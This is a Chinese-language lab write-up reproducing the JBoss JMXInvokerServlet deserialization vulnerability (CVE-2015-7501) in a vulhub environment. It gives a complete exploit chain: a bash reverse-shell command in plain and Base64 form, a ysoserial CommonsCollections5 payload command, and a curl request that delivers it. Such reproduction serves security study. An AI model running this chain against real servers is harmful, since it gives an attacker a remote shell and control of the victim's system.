JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)

一、漏洞说明
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
二、影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
三、搭建环境
cd vulhub\jboss\JMXInvokerServlet-deserialization
JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)_第1张图片JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)_第2张图片

四、漏洞验证
访问:8080/invoker/JMXInvokerServlet,返回如下页面(下载文件),说明接口开放,此接口存在反序列化漏洞。
JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)_第3张图片

下载了以下文件
JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)_第4张图片

五、漏洞复现
1.nc开启监听
在这里插入图片描述

2.生成序列化数据
使用工具ysoserial.jar生成序列化数据
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
Base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
所以payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
执行完该命令之后,会在本地桌面生成一个序列化的文件exp.ser,并利用cat查看其内容。
JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)_第5张图片

然后,将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
3.反弹shell
使用序列化数据反弹shell
curl http://192.168.25.128:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
在这里插入图片描述JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)_第6张图片

你可能感兴趣的:(web安全)